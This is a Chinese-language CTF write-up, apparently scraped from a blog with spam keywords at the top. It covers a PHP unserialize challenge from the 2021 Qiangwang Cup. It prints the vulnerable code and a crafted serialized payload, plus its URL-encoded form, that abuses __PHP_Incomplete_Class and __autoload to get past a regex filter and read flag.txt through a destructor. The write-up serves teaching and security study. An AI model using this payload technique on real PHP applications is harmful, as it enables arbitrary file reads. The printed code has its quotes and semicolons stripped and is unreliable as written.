成都模板建站代理,开个个人网站,wordpress站点地址和,顺德网站建设市场实验环境#xff1a;
本次的序列化与反序列化漏洞为2021年强网杯上的一道比赛题目#xff0c;我使用phpstudy集成环境将其测试环境搭建在了本地#xff0c;如下。涉及的几个页面php为#xff1a; index.php function.php myclass.php index.php :
?php
// inde…实验环境
本次的序列化与反序列化漏洞为2021年强网杯上的一道比赛题目我使用phpstudy集成环境将其测试环境搭建在了本地如下。涉及的几个页面php为 index.php function.php myclass.php index.php :
?php
// index.php
ini_set(display_errors, on);
include function.php;
$res unserialize($_REQUEST[ctfer]);
var_dump($res);
echo br;
var_dump(serialize($res));
if (preg_match(/myclass/i, serialize($res))) {echo ???;throw new Exception(Error: Class myclass not found);
}
highlight_file(__FILE__);
echo br;
highlight_file(myclass.php);
echo br;
highlight_file(function.php);
echo End;function.php : ?php
function __autoload($classname) {// function.phprequire_once ./$classname.php;
}
?
myclass.php :
?php
// myclass.php
//class myclass{}
class Hello {public function __destruct() {echo Im destructed.br/;var_export($this-qwb);if ($this-qwb) {echo file_get_contents($this-qwb);}}
}
?
实验思路 在本次中该实验考察的主题是序列化与反序列化中当我们反序列化一个不存在的类时的处理机制。我们利用这个处理机制构建特殊的序列化的数据传入绕过index.php中正则的过滤最终成功的读取出flag.txt文件中的数据。注意我们在读取时需要写绝对路径否则读取不到数据这里的路径为D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt 开始实验 在开始实验前我们需要知道序列化与反序列化中的几个特殊机制
1PHP在遇到不存在的类时会把不存在的类转换成__PHP_Incomplete_Class这种特殊的类同时将原始的类名A存放在__PHP_Incomplete_Class_Name这个属性中其余属性存放方式不变。而我们在序列化这个对象的时候serialize遇到__PHP_Incomplete_Class这个特殊类会倒推回来序列化成__PHP_Incomplete_Class_Name值为类名的类。
2当序列化字符串中包含了一个未定义的类名且该类没有在当前环境中被定义时__autoload 函数就会被触发以尝试加载相应的类定义。 在这个题目中我们需要加载myclass.php中的hello类但是要引入hello类根据__autoload我们需要一个classname为myclass的类这个类并不存在如果我们直接去反序列化只会在反序列化myclass类的时候报错无法进入下一步或者在反序列化Hello的时候找不到这个类而报错。根据上面的分析我们可以使用PHP对__PHP_Incomplete_Class的特殊处理进行绕过 在index.php页面中用户可控参数ctferctfer需要为一个序列化的数据。对ctfer进行反序列化再序列化后使用正则判断是否存在myclass关键字存在就直接抛异常退出否则就进行往下。 我们构建特殊的序列化字符串数据ctfer
ctfera:2:{i:0;O:22:__PHP_Incomplete_Class:1:{s:3:qwb;O:7:myclass:0:{}}i:1;O:5:Hello:1:{s:3:qwb;s:37:D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt;}}这是一个序列化字符串它包含了两个对象。第一个对象是一个名为 __PHP_Incomplete_Class 的类它有一个属性 qwb该属性的值是另一个名为 myclass 的对象。由于 myclass 类没有定义所以它的值是空对象。第二个对象是一个名为 Hello 的类它有一个属性 qwb该属性的值是一个字符串 D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt。这个序列化字符串可以用于在 PHP 中进行反序列化操作以恢复原始的对象状态。
注意由于我们时再浏览器上面进行输入的所以我们还需要遵循规则将其转化为urlcode编码后再传递 ctfer a%3a2%3a%7bi%3a0%3bO%3a22%3a%22__PHP_Incomplete_Class%22%3a1%3a%7bs%3a3%3a%22qwb%22%3bO%3a7%3a%22myclass%22%3a0%3a%7b%7d%7di%3a1%3bO%3a5%3a%22Hello%22%3a1%3a%7bs%3a3%3a%22qwb%22%3bs%3a37%3a%22D%3a%5cphpstudy_pro%5cWWW%5cdvwa%5cqwb%5cflag.txt%22%3b%7d%7d 之后我们再浏览器上面查看运行结果我们发现文件被成功的读取出来了并且绕过了index.php中的正则。 原理
可以看到在反序列化之后myclass作为了__PHP_Incomplete_Class中属性会触发autoload引入myclass.php而对他进行二次序列化时因为__PHP_Incomplete_Class没有__PHP_Incomplete_Class_Name该对象会消失从而绕过preg_match的检测并在最后触发Hello类的反序列化。 对比可以发现对ctfer进行反序列化再序列化后myclass消失了成功的绕过了index.php中的正则
传入的序列化数据ctfer
ctfera:2:{i:0;O:22:__PHP_Incomplete_Class:1:{s:3:qwb;O:7:myclass:0:{}}i:1;O:5:Hello:1:{s:3:qwb;s:37:D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt;}}//对ctfer进行反序列化
$res unserialize($_REQUEST[ctfer]);
var_dump($res);
结果
array (size2)0 object(__PHP_Incomplete_Class)[1]public qwb object(__PHP_Incomplete_Class)[2]public __PHP_Incomplete_Class_Name string myclass (length7)1 object(Hello)[3]public qwb string D:\phpstudy_pro\WWW\dvwa\flag.txt (length33)//对反序列化的数据再进行序列化
var_dump(serialize($res));
结果
string a:2:{i:0;O:22:__PHP_Incomplete_Class:0:{}i:1;O:5:Hello:1:{s:3:qwb;s:37:D:\phpstudy_pro\WWW\dvwa\qwb\flag.txt;}} (length119)